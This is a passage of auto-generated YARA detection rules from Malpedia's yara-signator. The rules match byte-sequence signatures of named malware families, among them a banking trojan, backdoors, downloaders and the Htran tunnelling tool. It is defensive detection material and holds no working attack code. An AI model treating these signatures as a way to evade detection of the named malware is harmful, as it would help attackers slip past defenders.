		$sequence_9 = { 2bc6 03450c 50 ff7508 e8???????? }
	condition:
		7 of them and filesize < 434176
}

rule MALPEDIA_Win_Dramnudge_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4e1e9905-62de-5567-9ed7-a82928870a8c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dramnudge"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dramnudge_auto.yar#L1-L90"
		license_url = "N/A"
		logic_hash = "221dd8bcd930b6121a924fbe6761de15c83c657ddce0c9178183beb8828f75f7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 014218 eb18 03c3 8bd3 }
		$sequence_1 = { 000c00 20b140005f5f 7277 7374 }
		$sequence_2 = { 014318 8b430c 2b4308 03c6 }
		$sequence_3 = { 000c00 e0d9 40 007374 }
		$sequence_4 = { 014318 8b4318 8b55f8 03d6 }
		$sequence_5 = { 007374 643a3a 7275 6e }
		$sequence_6 = { 0000 90 000c00 20b140005f5f }
		$sequence_7 = { 014318 eb5b 33f6 eb01 }
	condition:
		7 of them and filesize < 1294336
}

rule MALPEDIA_Win_Polpo_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4ff250ea-14e5-5ddf-884d-81a7a2123b4c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.polpo"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.polpo_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "c5c58623683189d984bf95794fae6745283628eb524957fe3fb712a317c0fbc7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 66895004 8a0d???????? 884806 8b45b4 8bf0 8da42400000000 8a08 }
		$sequence_1 = { f3a5 8bc8 83e103 f3a4 8d45dc }
		$sequence_2 = { 3acb 75f9 2bc6 8dbd4cf7ffff 4f 8a4f01 47 }
		$sequence_3 = { 8bc8 c1e902 f3a5 8bc8 83e103 837d0c00 }
		$sequence_4 = { 6a00 52 898df4faffff e8???????? b908000000 }
		$sequence_5 = { 2bfe 8d9b00000000 8b1437 8b4c3708 }
		$sequence_6 = { 33cd e8???????? 8be5 5d c20800 81ff00001000 0f8387000000 }
		$sequence_7 = { 85c0 753e 6a02 56 }
		$sequence_8 = { 83e03f 0fb680c0940120 83e23f 41 884602 8a92c0940120 885603 }
		$sequence_9 = { 8985edfeffff 668985f1feffff 8885f3feffff 8845ec 8945ed 8945f1 }
	condition:
		7 of them and filesize < 250880
}

rule MALPEDIA_Win_Cur1_Downloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b4746bef-c0ea-5bd8-a0d8-b1e69c784457"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cur1_downloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cur1_downloader_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "75283ba2057f95c8da3348505d3be061064c40e196de82d8a3f46a329333d71b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d41ff 8b8482c81a0200 85c0 0f84c6000000 413bc7 }
		$sequence_1 = { 8b4c2450 e8???????? 4889442458 48c744242000000000 4c8d8c24c8000000 448b442450 488b542458 }
		$sequence_2 = { 83e10f 480fbe841100e40100 8a8c1110e40100 4c2bc0 418b40fc d3e8 }
		$sequence_3 = { 4863442420 4533c0 0fb6540424 488d0d8da60200 e8???????? 48634c2420 88440c24 }
		$sequence_4 = { 488bbc24e0000000 4803fa 488bd7 8b7c2440 486bff0c 488d35aa980200 4803f7 }
		$sequence_5 = { 4533c9 4533c0 488d542438 488b8c24d8000000 }
		$sequence_6 = { b843000000 6689842486000000 b875000000 6689842488000000 b872000000 668984248a000000 b872000000 }
		$sequence_7 = { 4885c0 751e 498bc6 4c8d3d9f39ffff }
		$sequence_8 = { c744242001000000 4533c9 4533c0 488d942420170000 33c9 ff15???????? 89442468 }
		$sequence_9 = { 4889442478 488b4c2430 488b542420 4803d1 488bca e8???????? 488b4c2478 }
	condition:
		7 of them and filesize < 402432
}

rule MALPEDIA_Win_Slickshoes_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ad79f63d-1e65-5f60-a723-157797029623"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slickshoes"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.slickshoes_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "d52c38b22f881790a505e094420c171449849a1fa94bb94b87565ae649a918cb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff3424 5b 81c404000000 31ca 59 e9???????? 5e }
		$sequence_1 = { ff742404 5b 8f0424 e9???????? 871424 8b2424 e9???????? }
		$sequence_2 = { e9???????? 890424 e9???????? 8b1c24 81c404000000 01d6 e9???????? }
		$sequence_3 = { e9???????? 5c 81c5aae2bb7f 8b1424 56 e9???????? 58 }
		$sequence_4 = { fc 5d e5b4 d070d3 ac 4d f3b694 }
		$sequence_5 = { 8a12 be00020000 81c61f000000 0017 81ee40000000 89ef b90a000000 }
		$sequence_6 = { ff3424 ff3424 e9???????? 55 bda9d61ffa 29e8 5d }
		$sequence_7 = { ff3424 5b 51 890424 89e0 83ec04 893c24 }
		$sequence_8 = { e9???????? 52 ba3c0d7e47 e9???????? 59 83ec04 891424 }
		$sequence_9 = { e9???????? 5d 83c104 870c24 8b2424 e9???????? 81ec04000000 }
	condition:
		7 of them and filesize < 11198464
}

rule MALPEDIA_Win_Holerun_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "79210bcf-218e-5107-a109-edeb02cfeccf"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.holerun"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.holerun_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "089e5eef0cb363abe6346868d7bc24f6b1004eaa9f42643e6a6b76322b0e9b60"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488d45c0 4989c9 4989d0 ba00040000 4889c1 e8???????? 488b85f0030000 }
		$sequence_1 = { 488b85e0020000 488b4008 ba20000000 4889c1 e8???????? 488985c0020000 4883bdc002000000 }
		$sequence_2 = { 750a b8ffffffff e9???????? 488b4510 488b00 8b00 3d910000c0 }
		$sequence_3 = { 48837df000 751b 488b4510 488b00 488d1502380000 }
		$sequence_4 = { ba20000000 4889c1 e8???????? 488945f0 48837df000 0f84dd000000 488345f001 }
		$sequence_5 = { eb31 488b05???????? ffd0 89c1 488b85e0020000 }
		$sequence_6 = { 488345f808 488d050f8a0000 483945f8 75d1 b801000000 4883c430 5d }
		$sequence_7 = { 48c1e002 4889c2 488d0549650000 890c02 }
		$sequence_8 = { 488985a0000000 c785cc02000000000000 e9???????? 8b85cc020000 4898 488b84c590000000 }
		$sequence_9 = { 750c b91f000000 e8???????? eb39 488b05???????? 8b00 85c0 }
	condition:
		7 of them and filesize < 156672
}

rule MALPEDIA_Win_Telb_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "888a5e5b-e658-58db-97cc-bf969236e2af"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.telb"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.telb_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "e3ec407f2b3918e01e6c60147a108fc9762a60e1c29d49f9899f4240d976bb07"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? a1???????? 33c4 89842404100000 56 57 6a00 }
		$sequence_1 = { 51 e8???????? 83c408 8d85e8dfffff c78598dfffff00000000 8985a0dfffff }
		$sequence_2 = { eb07 6a16 68???????? e8???????? 8d4c2430 e8???????? }
		$sequence_3 = { 81cf00000003 89bd48eeffff 0f1000 0f1185b0eeffff f30f7e4010 }
		$sequence_4 = { ffd1 8bf0 8b442414 50 8b08 ff5108 }
		$sequence_5 = { 8d8d88efffff e8???????? 33c9 81cf80000000 89bd38eeffff }
		$sequence_6 = { c7400400000000 8985e8edffff 8908 c645fc09 8b85a8eeffff 89853ceeffff 8b85dceeffff }
		$sequence_7 = { c644241b01 8b14b8 8bca 8d7102 668b01 }
		$sequence_8 = { eb06 8bbd48eeffff 80bd4feeffff00 0f84a1010000 51 8d8d88efffff e8???????? }
		$sequence_9 = { c7401407000000 668908 8d8db8efffff c645fc28 }
	condition:
		7 of them and filesize < 286720
}

rule MALPEDIA_Win_Krbanker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d85e7258-981d-5cc6-a33a-cbcdd663368d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.krbanker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.krbanker_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "e566b2d91c9e72b8d03a6b5c791e4e71a6dc723cd18d0207fd049c63356700fa"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 895500 8b4104 894504 8b5108 895508 8b410c }
		$sequence_1 = { 6a00 6a00 6801030080 6a00 6802000000 6805000080 }
		$sequence_2 = { 23d0 8954244c eb08 c744244cffffffff 8d4c2424 }
		$sequence_3 = { bb40010000 e8???????? 83c410 8945d0 ff75d0 ff75d4 }
		$sequence_4 = { 8955e0 8d55d4 52 6a01 50 51 }
		$sequence_5 = { e8???????? 47 4b 3bdd 0f8d5bffffff eb02 8bde }
		$sequence_6 = { 75a4 dd442410 e8???????? 8ad8 }
		$sequence_7 = { c3 8b4c2420 8b542404 8d442408 50 51 }
		$sequence_8 = { 50 8b5dec 8b1b 85db 7409 }
		$sequence_9 = { 0faffa 46 3bf0 76cf }
	condition:
		7 of them and filesize < 1826816
}

rule MALPEDIA_Win_Matsnu_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ac7d48b9-a967-5b74-8534-0fe3b275eb93"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.matsnu"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.matsnu_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "5be086cc43b82632d1f6dd9c773840652ffd11fa9db4f5cb2927e6c0f81579b4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e9???????? 8985bcfbffff 83bdb0fbffff01 0f8588000000 8b85bcfbffff 8985c4fbffff 8b85c0fbffff }
		$sequence_1 = { c645f700 c645f800 c645f90d c645fa0a c645fb00 }
		$sequence_2 = { 750f c785a4fbffff02000000 e9???????? 8985bcfbffff 83bdb0fbffff01 }
		$sequence_3 = { 8b75fa 01c6 8b4604 48 0145de ff45c6 }
		$sequence_4 = { 0f8229010000 c745ea00000000 8b45e6 c1e004 8b75fa }
		$sequence_5 = { 751d ff75ba ff7510 e8???????? 8945f6 }
		$sequence_6 = { 884db8 807db800 7503 ff45be }
		$sequence_7 = { c745f600000000 c745fa00000000 e8???????? 5b }
		$sequence_8 = { 837d1800 7405 8b7d18 8907 b820000000 }
		$sequence_9 = { 31c0 8985bcfbffff ffb5c4fbffff e8???????? 83f800 }
	condition:
		7 of them and filesize < 606992
}

rule MALPEDIA_Win_Htran_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5705bf81-9a36-5bdc-a413-5dc9bbe8f8e2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.htran"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.htran_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "f4c537d909874a527abd7f69551092957789e48daeb6a5277998dd498c7b0511"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b942430510000 55 52 68???????? e8???????? }
		$sequence_1 = { e8???????? 83c404 e9???????? 68???????? e8???????? 8b942430510000 }
		$sequence_2 = { 8d3449 8d34b5f09b4000 83c00c 3bc6 7305 }
		$sequence_3 = { 68???????? 6a02 e8???????? 8bb42400020000 83c408 83fe02 0f8ef0000000 }
		$sequence_4 = { 5e 83c414 c3 6a05 }
		$sequence_5 = { 8b8424e0420100 33c9 894c2414 53 8b10 }
		$sequence_6 = { ff15???????? 85c0 7d14 68???????? e8???????? 83c404 }
		$sequence_7 = { c3 6a00 6a01 6a02 ff15???????? 85c0 }
		$sequence_8 = { 8816 46 8a10 40 0fb6da f683c1c3400004 740c }
		$sequence_9 = { 899424e8010000 89b424e8000000 899424e4000000 33c0 8d8c24e8000000 }
	condition:
		7 of them and filesize < 114688
}

rule MALPEDIA_Win_Cloudburst_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "66798bc9-d5a7-5171-afa8-26e587fd1d6d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudburst"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cloudburst_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "4402c4459a61713f167f313847e8e10fbc4c4d6c965b37f16be2690ee599b8f7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33d3 41891424 4133d3 4189542404 }
		$sequence_1 = { 49ffc0 eb39 0fb6c1 43c6041825 }
		$sequence_2 = { 4585c0 743e 488b0d???????? 4c8d4c2448 488bd7 }
		$sequence_3 = { 45330c24 45894c2410 4133d1 4189542414 448bc2 4533442408 }
		$sequence_4 = { 0f8cb0000000 48897c2450 4c89642458 488bfe }
		$sequence_5 = { 4d8bf8 440fb6420c 41c1e108 4c8d35a3e5ffff 41c1e008 c1e708 }
		$sequence_6 = { 418bea 4589542440 33eb 8bc5 }
		$sequence_7 = { c744245068000000 48894598 c744247004010000 c745a004010000 }
		$sequence_8 = { 418bc6 99 83e20f 03c2 8bc8 83e00f 3bc2 }
		$sequence_9 = { 418b4424fc 418942fc 4183bf0002000001 0f8e3d010000 90 458b4c24e0 41ffc6 }
	condition:
		7 of them and filesize < 2363392
}

rule MALPEDIA_Win_Pocodown_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "24fa8c2b-d3e1-5926-9dee-69a93fed8b3c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pocodown"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pocodown_auto.yar#L1-L90"
		license_url = "N/A"
		logic_hash = "81ce65c7d22552fcdf6138ce3c49e38f993fc4ab399006dba75fe36bc9807464"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b8c2488000000 e8???????? 85c0 0f849d010000 }
		$sequence_1 = { 8b8c2488000000 e8???????? 03442460 89842488000000 }
		$sequence_2 = { 8b8c2488000000 8d840801fcffff 8944244c 837c244c00 }
		$sequence_3 = { 8b8c2488000000 e8???????? 89842488000000 488b442478 }
		$sequence_4 = { 8b8c2488000000 8d8401f33e706d 89842488000000 ba05000000 }
		$sequence_5 = { 8b8c2488000000 e8???????? 4885c0 7529 }
		$sequence_6 = { 8b8c2488000000 e8???????? 4883bc249000000000 741a }
		$sequence_7 = { 8b8c2488000000 ff15???????? 85c0 7519 }
	condition:
		7 of them and filesize < 6703104
}

rule MALPEDIA_Elf_Nosedive_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0896063d-4b04-5de6-a33c-b1437bc56c3d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.nosedive"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.nosedive_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "8416103e0574bbf55ec9fa82bbc72a32d4b6a677477fed1dee3caabd7071b0d2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e9???????? 8b06 488b7c2408 4589ed 8907 428b442efc 4289442ffc }
		$sequence_1 = { c644240800 8b7b10 31c9 488db42404010000 4989e4 ba02000000 e8???????? }
		$sequence_2 = { ebe9 4531f6 4531ff 488b6c2410 4c397320 7630 488b4318 }
		$sequence_3 = { e8???????? 5f b8008fffff 4158 e9???????? 4c8d05117f0f00 b974090000 }
		$sequence_4 = { eb17 4889de 4889ef e8???????? 48895d10 48895d18 4c897520 }
		$sequence_5 = { b93f000000 4429f9 4585c9 7527 4139ca 7d27 418d4f01 }
		$sequence_6 = { f348ab 49837e6000 4d896e70 49895e78 751e b810000000 4983ff14 }
		$sequence_7 = { c3 83c8ff 48397e08 7543 8b07 4c634610 2500010000 }
		$sequence_8 = { e8???????? 8b4c243c ffc0 7516 48c7c098ffffff 6483385a 0f85e8010000 }
		$sequence_9 = { e9???????? 48ffc0 80fa3a 7408 8a10 84d2 75f2 }
	condition:
		7 of them and filesize < 3268608
}

rule MALPEDIA_Win_Keyboy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fec012ed-67a0-5990-a09f-2adc6f6d01e1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.keyboy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.keyboy_auto.yar#L1-L216"
		license_url = "N/A"
		logic_hash = "9b6870fb0f7fa4f14ee6296738101c3d20a040df4ce6327954399cd55fe9250f"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 51 ff75d8 6a00 ff75c0 }
		$sequence_1 = { 6a00 8945f2 8d45f8 50 6a0e }
		$sequence_2 = { 5d c3 3b0d???????? f27502 f2c3 f2e953030000 }
		$sequence_3 = { c705????????dbd99823 c705????????d468bcb5 c705????????2086e659 c705????????eec45abf c705????????bbee2bd1 c705????????3e20f129 }
		$sequence_4 = { c705????????0caa6c89 c705????????a856701f c705????????597e743c c705????????0a9769e0 c705????????c4b85363 }
		$sequence_5 = { c705????????0a9769e0 c705????????c4b85363 c705????????3abf261f c705????????890e9944 c705????????dbd99823 c705????????d468bcb5 c705????????2086e659 }
		$sequence_6 = { 57 68cc020000 8d852cfdffff 8bf2 6a00 50 89b528fdffff }
		$sequence_7 = { 24a0 3ca0 7518 b800080000 }
		$sequence_8 = { 2408 f6d8 1ac0 24dd 88474e }
		$sequence_9 = { 7207 b901000000 eb0f 3cfe 7509 }
		$sequence_10 = { 6683f809 740a 6683f806 7404 32c9 eb02 }
		$sequence_11 = { 7905 49 83c9f8 41 8a043e 0fbe4c8de0 3401 }
		$sequence_12 = { 0fbe4c8de0 3401 0fbec0 0fafc8 80f185 880c3e }
		$sequence_13 = { e8???????? 85c0 755e 83ff20 }
		$sequence_14 = { f7d9 85db 0f44c2 23c8 }
		$sequence_15 = { c705????????1671e665 c705????????f3106cb3 c705????????526c1ed0 c705????????5d05606c }
		$sequence_16 = { ffd0 e9???????? bbfeffffff eb05 }
		$sequence_17 = { 84c0 75f0 8d55ec c745ec5c417070 c745f06c655c55 }
		$sequence_18 = { e8???????? 8b75c0 8bce 8b15???????? a3???????? e8???????? 8b15???????? }
		$sequence_19 = { 8d46d6 99 83e23f 03c2 }
		$sequence_20 = { ff15???????? 8bf8 c745f447646933 8d45f4 66c745f83200 50 }
		$sequence_21 = { c745f06c655c55 8bf2 c745f470646174 66c745f86500 8a02 }
	condition:
		7 of them and filesize < 2170880
}

rule MALPEDIA_Win_Grapeloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "eb279ded-b2c5-5f10-9bdf-71ce0cb379f9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grapeloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grapeloader_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "9956347475bad3c02131a3202e37348872c31d719ae25d5814bb41f19904ddf4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 88542417 48894c2408 48c7042400000000 48833c2414 731e 8a542417 }
		$sequence_1 = { 0fbe4c2429 0fb7442410 01c8 6689442410 0fb644241b 0faf442420 89442420 }
		$sequence_2 = { eb00 488b8580000000 4889e1 488d95c4020000 48895120 48c7c1ffffffff 488d95d0020000 }
		$sequence_3 = { 5b c3 4883ec28 4c8d0d85b60000 33c9 4c8d0578b60000 488d1579b60000 }
		$sequence_4 = { 4883ec38 4889542430 48894c2428 488b4c2428 48894c2420 48c7015c000000 }
		$sequence_5 = { 03442438 89442438 0fb744243c 05876c0000 668944243c 8b442438 03442424 }
		$sequence_6 = { 29c8 88442413 0fbf44243a 69c0be000000 668944243a 0fbf4c243a }
		$sequence_7 = { 4889442428 f6401c01 7412 488b4c2428 c6411c00 4883c108 e8???????? }
		$sequence_8 = { 488d8d08030000 e8???????? 488d8d38030000 e8???????? c7850003000000000000 488d8ddf020000 }
		$sequence_9 = { eb00 488b9590010000 488b8d80010000 e8???????? 48898578010000 eb00 }
	condition:
		7 of them and filesize < 397312
}

rule MALPEDIA_Win_Kuluoz_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e333e81d-6ddf-5afb-9076-c2e07a86e601"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kuluoz"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kuluoz_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "8a6d421ab9f7554479240c31c714fda22b910eb903ffdf797f53667a783e223f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4de8 83790c00 0f84e3000000 8b55e8 }
		$sequence_1 = { 8bff 55 8bec 51 8b4508 8945fc 8b4d0c }
		$sequence_2 = { 8b8da0fbffff 898df0fbffff 8b95a4fbffff 8995f4fbffff eb6f 8d85f8fbffff 50 }
		$sequence_3 = { 85c0 740b 8b4df0 83c101 894df0 ebd7 8b55f0 }
		$sequence_4 = { 8bff 55 8bec 51 56 c745fc00000000 eb09 }
		$sequence_5 = { e8???????? 8b08 898d5cfbffff 8b5004 899560fbffff 8b4008 }
		$sequence_6 = { 8b4508 054a050000 8b4d08 3b814a2d0000 7504 b001 eb02 }
		$sequence_7 = { 50 e8???????? 8945f4 837df4ff 7405 8b45f4 eb4b }
		$sequence_8 = { 0fbe5508 83fa0a 7409 0fbe4508 83f80d 7504 b001 }
		$sequence_9 = { 8955f0 8b45f0 3b45e0 734e }
	condition:
		7 of them and filesize < 65536
}

rule MALPEDIA_Win_Sharpknot_Auto : FILE
{
	meta:
